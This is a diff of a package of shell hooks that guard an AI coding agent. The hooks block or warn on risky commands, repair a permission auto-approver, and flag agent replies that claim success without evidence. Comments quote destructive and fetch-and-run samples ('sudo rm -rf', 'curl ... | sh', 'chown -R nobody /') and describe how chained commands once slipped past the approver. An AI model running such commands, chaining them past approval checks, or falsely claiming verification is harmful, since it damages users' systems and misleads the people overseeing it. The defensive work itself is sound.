cc-safe-setup 29.8.0 → 30.0.4

package/examples/check-promise-all.sh

@@ -3,5 +3,5 @@
 # TRIGGER: PreToolUse  MATCHER: "Edit|Write"
 CONTENT=$(cat | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)
 [ -z "$CONTENT" ] && exit 0
-echo "NOTE: Warn on Promise.all without error handling" >&2
+echo "$CONTENT" | grep -qE "Promise\.all\(" && ! echo "$CONTENT" | grep -qE "\.catch|try " && echo "NOTE: Promise.all() without .catch()/try — one rejection fails the whole batch" >&2
 exit 0

package/examples/check-suspense-fallback.sh

@@ -3,5 +3,5 @@
 # TRIGGER: PreToolUse  MATCHER: "Edit|Write"
 CONTENT=$(cat | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)
 [ -z "$CONTENT" ] && exit 0
-echo "NOTE: Warn on missing Suspense fallback" >&2
+echo "$CONTENT" | grep -qE "<Suspense" && ! echo "$CONTENT" | grep -qE "fallback" && echo "NOTE: <Suspense> without a fallback prop" >&2
 exit 0

package/examples/check-timeout-cleanup.sh

@@ -3,5 +3,5 @@
 # TRIGGER: PreToolUse  MATCHER: "Edit|Write"
 CONTENT=$(cat | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)
 [ -z "$CONTENT" ] && exit 0
-echo "NOTE: Warn on setTimeout without clearTimeout" >&2
+echo "$CONTENT" | grep -qE "setTimeout\(" && ! echo "$CONTENT" | grep -qE "clearTimeout" && echo "NOTE: setTimeout() without clearTimeout — may fire after teardown/unmount" >&2
 exit 0

package/examples/check-unsubscribe.sh

@@ -3,5 +3,5 @@
 # TRIGGER: PreToolUse  MATCHER: "Edit|Write"
 CONTENT=$(cat | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)
 [ -z "$CONTENT" ] && exit 0
-echo "NOTE: Warn on missing event unsubscribe" >&2
+echo "$CONTENT" | grep -qE "addEventListener\(" && ! echo "$CONTENT" | grep -qE "removeEventListener" && echo "NOTE: addEventListener without a matching removeEventListener" >&2
 exit 0

package/examples/check-worker-terminate.sh

@@ -3,5 +3,5 @@
 # TRIGGER: PreToolUse  MATCHER: "Edit|Write"
 CONTENT=$(cat | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)
 [ -z "$CONTENT" ] && exit 0
-echo "NOTE: Warn on Web Worker without terminate" >&2
+echo "$CONTENT" | grep -qE "new Worker\(" && ! echo "$CONTENT" | grep -qE "\.terminate\(" && echo "NOTE: new Worker() without .terminate() — the worker leaks" >&2
 exit 0

package/examples/checkpoint-tamper-guard.sh

@@ -6,6 +6,18 @@
 #
 # TRIGGER: PreToolUse  MATCHER: "Bash"
 
+# Without jq, the parse below silently yields empty and this hook stops
+# guarding - with no error anywhere. Say so. We deliberately do not exit
+# here: blocking would halt every tool call, and exiting 0 would change
+# the behaviour of guards that do not depend on the parsed value.
+if ! command -v jq >/dev/null 2>&1; then
+  _nojq_warned="/tmp/cc-nojq-warned-checkpoint-tamper-guard-$PPID"
+  [ -f "$_nojq_warned" ] || {
+    echo "WARNING [checkpoint-tamper-guard]: jq not found - this hook cannot inspect tool calls and is NOT protecting you. Install jq." >&2
+    : > "$_nojq_warned"
+  }
+fi
+
 INPUT=$(cat)
 CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
 FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)

package/examples/chmod-guard.sh

@@ -23,6 +23,18 @@
 #
 # TRIGGER: PreToolUse  MATCHER: "Bash"
 
+# Without jq, the parse below silently yields empty and this hook stops
+# guarding - with no error anywhere. Say so. We deliberately do not exit
+# here: blocking would halt every tool call, and exiting 0 would change
+# the behaviour of guards that do not depend on the parsed value.
+if ! command -v jq >/dev/null 2>&1; then
+  _nojq_warned="/tmp/cc-nojq-warned-chmod-guard-$PPID"
+  [ -f "$_nojq_warned" ] || {
+    echo "WARNING [chmod-guard]: jq not found - this hook cannot inspect tool calls and is NOT protecting you. Install jq." >&2
+    : > "$_nojq_warned"
+  }
+fi
+
 INPUT=$(cat)
 COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
 

package/examples/chown-guard.sh

@@ -23,6 +23,18 @@
 #
 # TRIGGER: PreToolUse  MATCHER: "Bash"
 
+# Without jq, the parse below silently yields empty and this hook stops
+# guarding - with no error anywhere. Say so. We deliberately do not exit
+# here: blocking would halt every tool call, and exiting 0 would change
+# the behaviour of guards that do not depend on the parsed value.
+if ! command -v jq >/dev/null 2>&1; then
+  _nojq_warned="/tmp/cc-nojq-warned-chown-guard-$PPID"
+  [ -f "$_nojq_warned" ] || {
+    echo "WARNING [chown-guard]: jq not found - this hook cannot inspect tool calls and is NOT protecting you. Install jq." >&2
+    : > "$_nojq_warned"
+  }
+fi
+
 INPUT=$(cat)
 COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
 
@@ -42,6 +54,18 @@ if echo "$ACTUAL_CMD" | grep -qE 'chown\s+(-R\s+)?root[: ]'; then
     exit 2
 fi
 
+# Block a recursive chown aimed at the filesystem root itself.
+# The system-directory check below names subdirectories of / and never matched a
+# bare `/`, so `chown -R nobody /` -- the worst form of all, since it rewrites
+# ownership of every file on the machine -- walked straight through. Measured
+# 2026-08-03. `/` on its own, or `/` followed by a glob, both count.
+if echo "$ACTUAL_CMD" | grep -qE 'chown\s+(-[A-Za-z-]+\s+)*[^ ]+\s+/(\*)?(\s|$)'; then
+    echo "BLOCKED: chown aimed at the filesystem root (/)." >&2
+    echo "Command: $COMMAND" >&2
+    echo "This rewrites ownership of every file on the machine." >&2
+    exit 2
+fi
+
 # Block recursive chown on system directories
 if echo "$ACTUAL_CMD" | grep -qE 'chown\s+-R.*\s+/(etc|var|usr|bin|sbin|lib|boot|sys|proc|dev)\b'; then
     echo "BLOCKED: Recursive chown on system directory." >&2

package/examples/ci-workflow-guard.sh

@@ -37,7 +37,12 @@ if grep -qE 'permissions:\s*write-all|permissions:\s*\{[^}]*contents:\s*write' "
     WARNINGS="${WARNINGS}  - Broad write permissions detected\n"
 fi
 
-if grep -qE '--no-verify|--skip-tests|--no-check|SKIP_CI|skip ci|\[ci skip\]' "$FILE" 2>/dev/null; then
+# `--` is required: without it grep reads the leading dashes of --no-verify
+# as options and dies with "invalid option", so this check silently never
+# fired. The four existing checks in test.sh only assert exit 0, and this
+# hook always exits 0, so they passed anyway. (The next check starts with a
+# letter, so it was never affected.) Measured 2026-09-20.
+if grep -qE -- '--no-verify|--skip-tests|--no-check|SKIP_CI|skip ci|\[ci skip\]' "$FILE" 2>/dev/null; then
     WARNINGS="${WARNINGS}  - Test/verification skip detected\n"
 fi
 

package/examples/claim-verify-detector.sh

@@ -0,0 +1,109 @@
+#!/bin/bash
+# claim-verify-detector.sh — detect decisive language without verification
+#
+# Why: Multiple recent issues show the agent claiming success ("verified",
+#      "fixed", "logged out", "won't lose money") while the underlying state
+#      is unchanged or still broken. Examples observed in May 2026:
+#        #57288 — agent declared "100% guaranteed no loss" 5 minutes after
+#                 writing its own warning; loss occurred 6 minutes later.
+#        #57271 — agent reported "compared the actual outputs" after only
+#                 calling the report function and parsing strings; no visual
+#                 comparison was performed.
+#        #57285 — `/logout` returned "Successfully logged out" while the
+#                 persistent credential store still held the OAuth token.
+#      The pattern is: a decisive verb in the response without any evidence
+#      that verification was actually executed. This hook flags such turns
+#      so the user (or a downstream check) can require the missing evidence
+#      before acting on the claim.
+#
+# How: Stop hook reads the transcript_path, extracts the last assistant
+#      message's text, scans for decisive terms, and — when at least one
+#      decisive term is present — confirms that at least one verification
+#      term is also present. If a decisive term appears alone, write a
+#      single warning line to stderr (advisory).
+#
+# Strict mode: set CC_CLAIM_VERIFY_BLOCK=1 to exit 2 instead of 0. Use this
+#      in CI / unattended runs where an unverified claim should fail closed.
+#
+# Skip: set CC_CLAIM_VERIFY_SKIP=1 in shells where the heuristic fires too
+#      often (research notebooks, retrospective writing, etc.).
+#
+# TRIGGER: Stop
+# MATCHER: ""
+
+set -u
+
+# Without jq, the parse below silently yields empty and this hook stops
+# guarding - with no error anywhere. Say so. We deliberately do not exit
+# here: blocking would halt every tool call, and exiting 0 would change
+# the behaviour of guards that do not depend on the parsed value.
+if ! command -v jq >/dev/null 2>&1; then
+  _nojq_warned="/tmp/cc-nojq-warned-claim-verify-detector-$PPID"
+  [ -f "$_nojq_warned" ] || {
+    echo "WARNING [claim-verify-detector]: jq not found - this hook cannot inspect tool calls and is NOT protecting you. Install jq." >&2
+    : > "$_nojq_warned"
+  }
+fi
+
+[ "${CC_CLAIM_VERIFY_SKIP:-0}" = "1" ] && exit 0
+
+INPUT=$(cat)
+
+TRANSCRIPT=$(printf '%s' "$INPUT" | jq -r '.transcript_path // empty' 2>/dev/null)
+[ -z "$TRANSCRIPT" ] && exit 0
+[ ! -r "$TRANSCRIPT" ] && exit 0
+
+# Pull the text of the most recent assistant message. tac walks the jsonl in
+# reverse so the first match is the latest turn. We concatenate every text
+# block of that message into one string for scanning.
+LAST_ASSISTANT=$(tac "$TRANSCRIPT" 2>/dev/null \
+    | grep -m1 '"type":"assistant"' \
+    | jq -r '[.message.content[]? | select(.type=="text") | .text] | join("\n")' 2>/dev/null)
+
+[ -z "$LAST_ASSISTANT" ] && exit 0
+
+# Decisive terms: words that imply a checked / completed / safe outcome.
+# English and Japanese listed together. Matching is case-insensitive.
+DECISIVE_RE='(\bverified\b|\bconfirmed\b|\bfixed\b|\bresolved\b|\bcompleted\b|\bsucceeded\b|\bworking\b|\bguaranteed\b|\bcannot fail\b|\bwill (not|never) (fail|lose|miss)\b|\b(?:successfully )?logged out\b|\bterminated cleanly\b|\bno (data )?loss\b|\bsafe to (commit|deploy|push)\b|直った|修正した|確認した|検証した|完了した|終了した|生存している|絶対に|保証する|リセット(した|済)|動作の確認)'
+
+# Verification terms: words that show evidence was actually gathered.
+# If the response includes a decisive term AND a verification term, treat
+# the claim as backed and stay silent.
+EVIDENCE_RE='(\bran\b|\bexecuted\b|\bexit code\b|\bstatus code\b|\boutput shows\b|\boutput was\b|\blog shows\b|\blogs? (show|showed|confirm)\b|\breturned\b|\bscreenshot\b|\bcaptured\b|\bobserved\b|\bmeasured\b|\bcompared\b|\bdiff\b|\bchecked .*output\b|実行した|出力は|戻り値は|終了状態は|ログ(は|が)|画面(の|を)?(取得|捕捉|表示)|計測(の結果|した)|表示した|並べて確認|比較した結果)'
+
+# Use grep -P for proper word boundaries and alternation. Fall back to grep -E
+# if -P is unavailable (e.g. busybox); the difference matters less than
+# returning a clean exit on minimal systems.
+# The mode flag has to travel with GREP. Setting GREP='grep -E' and then still
+# passing -ioP at the call site kept the PCRE flag on, so on BSD grep (macOS)
+# both greps failed, both variables came back empty, and the first [ -z ] exit
+# swallowed every warning this hook exists to produce.
+GREP=grep
+GREP_MODE=-ioP
+if ! echo "" | grep -P '' >/dev/null 2>&1; then
+    GREP='grep -E'
+    GREP_MODE=-io
+    DECISIVE_RE=$(printf '%s' "$DECISIVE_RE" | sed 's/\\b//g')
+    EVIDENCE_RE=$(printf '%s' "$EVIDENCE_RE" | sed 's/\\b//g')
+fi
+
+DECISIVE_HIT=$(printf '%s' "$LAST_ASSISTANT" | $GREP $GREP_MODE "$DECISIVE_RE" 2>/dev/null | head -3 | paste -sd ',' -)
+[ -z "$DECISIVE_HIT" ] && exit 0
+
+EVIDENCE_HIT=$(printf '%s' "$LAST_ASSISTANT" | $GREP $GREP_MODE "$EVIDENCE_RE" 2>/dev/null | head -1)
+[ -n "$EVIDENCE_HIT" ] && exit 0
+
+# Decisive without evidence — emit one advisory line.
+{
+    echo "WARNING: claim-verify-detector flagged decisive language without visible verification."
+    echo "  Decisive terms: $DECISIVE_HIT"
+    echo "  Suggestion: before acting on this claim, capture the verifying output (exit code, log line, screenshot, or diff) directly in the response."
+    echo "  Background: this pattern matches Issues #57288 / #57271 / #57285 (May 2026 claim-vs-reality cluster)."
+} >&2
+
+if [ "${CC_CLAIM_VERIFY_BLOCK:-0}" = "1" ]; then
+    echo "BLOCKED by claim-verify-detector (strict mode). Unset CC_CLAIM_VERIFY_BLOCK to convert to advisory." >&2
+    exit 2
+fi
+
+exit 0

package/examples/claim-vs-caveat-checker.sh

@@ -0,0 +1,77 @@
+#!/bin/bash
+# ================================================================
+# claim-vs-caveat-checker.sh — Detect confident claims that may
+#                              contradict earlier caveats in the
+#                              same session
+# ================================================================
+# PURPOSE:
+#   The May 2026 claim-verify-gap cluster documented agents making
+#   definitive assertions ("won't fail", "guaranteed", "cannot
+#   close at a loss") that directly contradicted caveat language
+#   ("risk", "warning", "may fail") the same agent had written
+#   5-30 minutes earlier in the same session. In one reported
+#   case (#57288) this pattern caused an automated trade to
+#   continue past a warning the agent had itself filed, ending
+#   in a $-8.94 loss when slippage occurred exactly as warned.
+#
+#   This hook reads the assistant turn that just completed, looks
+#   for confident assertion words, and scans recent assistant
+#   turns from the same transcript for matching caveat words. When
+#   both are present, it emits a non-blocking note that flags the
+#   contradiction so the operator can verify the claim against
+#   the caveat before relying on it.
+#
+# TRIGGER: Stop  (fires after each assistant turn)
+#
+# CONFIG:
+#   CLAIM_CAVEAT_BLOCK=0    (0 = note-only; 1 = block with decision)
+#   CLAIM_CAVEAT_WINDOW=40  (lines to scan for caveats, default 40)
+#
+# Born from: https://github.com/anthropics/claude-code/issues/57288
+# Related: chapter 9 of the May 2026 claim-verify case handbook
+#          ("自動の点検の道具の素案 5 件" — proposed detection
+#          tools 5 / 5, the third being claim-vs-caveat-checker)
+# ================================================================
+
+set -euo pipefail
+
+INPUT=$(cat)
+TRANSCRIPT=$(printf '%s' "$INPUT" | jq -r '.transcript_path // empty' 2>/dev/null || true)
+
+# No transcript available, exit silently
+[ -z "$TRANSCRIPT" ] && exit 0
+[ ! -r "$TRANSCRIPT" ] && exit 0
+
+WINDOW="${CLAIM_CAVEAT_WINDOW:-40}"
+BLOCK="${CLAIM_CAVEAT_BLOCK:-0}"
+
+# Confident-assertion patterns. Matched in latest assistant turn.
+CLAIM_PATTERN='guaranteed|cannot fail|will not fail|100% safe|definitely fixed|永続的に直った|保証する|絶対に|完璧に直った|今や損失で閉じる事が出来ない|cannot close at a loss'
+
+# Caveat patterns. Matched in earlier assistant turns.
+CAVEAT_PATTERN='risk|caveat|warning|may fail|might break|may slip|slippage|careful|notice that|注意|危険|可能性|未確認|may not work'
+
+# Read the last WINDOW lines of the transcript via awk (portable)
+RECENT=$(awk -v w="$WINDOW" 'END{ for (i=NR-w+1; i<=NR; i++) if (i>0) print arr[i]; } { arr[NR]=$0 }' "$TRANSCRIPT" 2>/dev/null || true)
+[ -z "$RECENT" ] && exit 0
+
+# Extract latest assistant turn (from the recent window)
+LAST_ASSISTANT=$(printf '%s\n' "$RECENT" | grep -E '"role":\s*"assistant"' | tail -n 1 || true)
+EARLIER_ASSISTANT=$(printf '%s\n' "$RECENT" | grep -E '"role":\s*"assistant"' | head -n -1 || true)
+
+# Detect confident claim in the latest assistant turn
+HAS_CLAIM=$(printf '%s' "$LAST_ASSISTANT" | grep -iE "$CLAIM_PATTERN" -o | head -n 1 || true)
+# Detect caveat in earlier assistant turns
+HAS_CAVEAT=$(printf '%s' "$EARLIER_ASSISTANT" | grep -iE "$CAVEAT_PATTERN" -o | head -n 1 || true)
+
+if [ -n "$HAS_CLAIM" ] && [ -n "$HAS_CAVEAT" ]; then
+  if [ "$BLOCK" = "1" ]; then
+    printf '{"decision":"block","reason":"claim-vs-caveat: confident claim (%q) may contradict earlier caveat (%q) in same session"}\n' "$HAS_CLAIM" "$HAS_CAVEAT"
+    exit 0
+  else
+    # Non-blocking note via stderr
+    printf 'claim-vs-caveat: confident claim (%s) overlaps with earlier caveat (%s) in same session. Review before relying.\n' "$HAS_CLAIM" "$HAS_CAVEAT" >&2
+  fi
+fi
+
+exit 0

package/examples/classifier-fallback-allow.sh

@@ -21,52 +21,126 @@
 # }
 #
 # TRIGGER: PermissionRequest  MATCHER: ""
+#
+# Rewritten 2026-08-03. The base command was taken from the first word of the
+# whole line — `awk '{print $1}'` — and the approval was then handed to the
+# entire line. Measured against the shipped copy, over the 33 commands this
+# hook actually approves in their bare form:
+#
+#   tail `&& sudo rm -rf /var/app`      -> 99/99 approvals kept
+#   tail `; curl http://... | sh`       -> 99/99 approvals kept
+#   tail `&& git push --force`          -> 99/99 approvals kept
+#
+# The control matters: the same five dangerous commands on their own were
+# approved 0/5 times. So this was never "approves anything" — it was "never
+# reads past the first command position". Those are different repairs.
+#
+# This is the defect PR #937 fixed in `allowlist.sh`, #940 in `cd-git-allow.sh`
+# and #941/#942/#943 across the other approving hooks, on the side that signs
+# off rather than the side that blocks. A missed block is a miss; a wrong
+# approval is a signature.
+#
+# Now every command position has to qualify on its own. A line that does not
+# qualify gets no decision, which drops it into the normal permission flow —
+# this hook only ever adds approval, it never blocks.
+#
+# Known limit: quotes are not parsed, so a separator inside a quoted string
+# ends a segment early. That errs toward fewer approvals, never more.
 
 INPUT=$(cat)
 COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
 
 [ -z "$COMMAND" ] && exit 0
 
-# Extract the base command (first word, ignoring leading whitespace)
-BASE=$(echo "$COMMAND" | awk '{print $1}')
-
-# Read-only commands that are always safe
-case "$BASE" in
-    # File inspection
-    cat|head|tail|less|more|wc|file|stat|du|df|ls|tree|find|which|whereis|type|realpath|readlink|basename|dirname)
-        # find with -delete is NOT read-only
-        if echo "$COMMAND" | grep -qE '\s-delete'; then
-            exit 0  # Don't approve — let normal flow handle it
-        fi
-        jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Read-only command (classifier fallback)"}}'
-        exit 0
-        ;;
-    # Text search
-    grep|rg|ag|ack)
-        jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Text search (classifier fallback)"}}'
-        exit 0
-        ;;
-    # Git read-only
-    git)
-        SUBCMD=$(echo "$COMMAND" | awk '{print $2}')
-        case "$SUBCMD" in
-            status|log|diff|show|branch|tag|remote|describe|rev-parse|blame|shortlog|ls-files|ls-tree)
-                jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Git read-only (classifier fallback)"}}'
-                exit 0
-                ;;
-        esac
-        ;;
-    # Shell builtins
-    echo|printf|true|false|pwd|env|printenv|date|uname|hostname|whoami|id)
-        jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Shell builtin (classifier fallback)"}}'
-        exit 0
-        ;;
-    # JSON/YAML
-    jq|yq)
-        jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Data processing (classifier fallback)"}}'
-        exit 0
-        ;;
+# A substitution can carry a command that no string-level read ever sees.
+case "$COMMAND" in
+    *'$('*|*'`'*) exit 0 ;;
+esac
+
+# Anything that writes to a file is not a read, whatever the command word says.
+case "$COMMAND" in
+    *'>'*) exit 0 ;;
 esac
 
-# Not a known read-only command — don't interfere
+# Read-only command words: file inspection, text search, shell builtins and
+# data formatters. `git` is handled separately because only some of its
+# subcommands read.
+# (No comments inside the pattern list — a `#` after a `\` continuation becomes
+# part of the pattern, not a comment.)
+cc_ro_base_ok() {
+    case "$1" in
+        cat|head|tail|less|more|wc|file|stat|du|df|ls|tree|\
+        which|whereis|type|realpath|readlink|basename|dirname|\
+        grep|rg|ag|ack|\
+        echo|printf|true|false|pwd|env|printenv|date|uname|hostname|whoami|id|\
+        jq|yq)
+            return 0 ;;
+    esac
+    return 1
+}
+
+# Filters that only make sense downstream of something else. Keeping them out of
+# the first position means `cut …` on its own is not read as a read.
+cc_filter_base_ok() {
+    case "$1" in
+        head|tail|grep|wc|sort|uniq|tr|cut|column|nl|rev|less|more) return 0 ;;
+    esac
+    return 1
+}
+
+cc_segment_base() {
+    # strip leading blanks and leading VAR=value assignments, then take the
+    # command word without its directory
+    printf '%s' "$1" \
+        | sed -E 's/^[[:space:]]+//; s/^([A-Za-z_][A-Za-z0-9_]*=[^[:space:]]*[[:space:]]+)*//' \
+        | awk '{print $1}' \
+        | sed 's|.*/||'
+}
+
+cc_segment_reads() {
+    local seg="$1" idx="$2" base
+    base=$(cc_segment_base "$seg")
+    [ -z "$base" ] && return 1
+
+    # moving between directories reads nothing and writes nothing
+    [ "$base" = "cd" ] && return 0
+
+    # find reads only while it carries no predicate that acts on what it finds.
+    # The old check looked for `-delete` anywhere in the whole line, which both
+    # missed `-exec` and fired on unrelated segments.
+    if [ "$base" = "find" ]; then
+        printf '%s' "$seg" \
+            | grep -qE '(^|[[:space:]])-(delete|exec|execdir|ok|okdir|fprintf?|fls|fprint0)([[:space:]]|$)' \
+            && return 1
+        return 0
+    fi
+
+    cc_ro_base_ok "$base" && return 0
+
+    # git, only the subcommands that read
+    if printf '%s' "$seg" | grep -qE '^[[:space:]]*git[[:space:]]+(status|log|diff|show|branch|tag|remote|describe|rev-parse|blame|shortlog|ls-files|ls-tree)([[:space:]]|$)'; then
+        return 0
+    fi
+
+    # downstream positions may also be a plain filter
+    [ "$idx" -gt 0 ] && cc_filter_base_ok "$base" && return 0
+
+    return 1
+}
+
+IDX=0
+while IFS= read -r SEG; do
+    SEG="${SEG#"${SEG%%[![:space:]]*}"}"
+    SEG="${SEG%"${SEG##*[![:space:]]}"}"
+    [ -z "$SEG" ] && continue
+    cc_segment_reads "$SEG" "$IDX" || exit 0
+    IDX=$((IDX + 1))
+done <<EOF
+$(printf '%s' "$COMMAND" | tr ';&|' '\n\n\n')
+EOF
+
+# nothing to approve if the line held no command at all
+[ "$IDX" -eq 0 ] && exit 0
+
+jq -n '{"hookSpecificOutput":{"hookEventName":"PermissionRequest","permissionDecision":"allow","permissionDecisionReason":"Read-only command (classifier fallback)"}}'
 exit 0

package/examples/claude-cache-gc.sh

@@ -1,3 +1,4 @@
+#!/bin/bash
 CLAUDE_DIR="$HOME/.claude"
 MAX_AGE_DAYS="${CC_GC_MAX_AGE:-30}"
 MAX_SIZE_MB="${CC_GC_MAX_SIZE:-500}"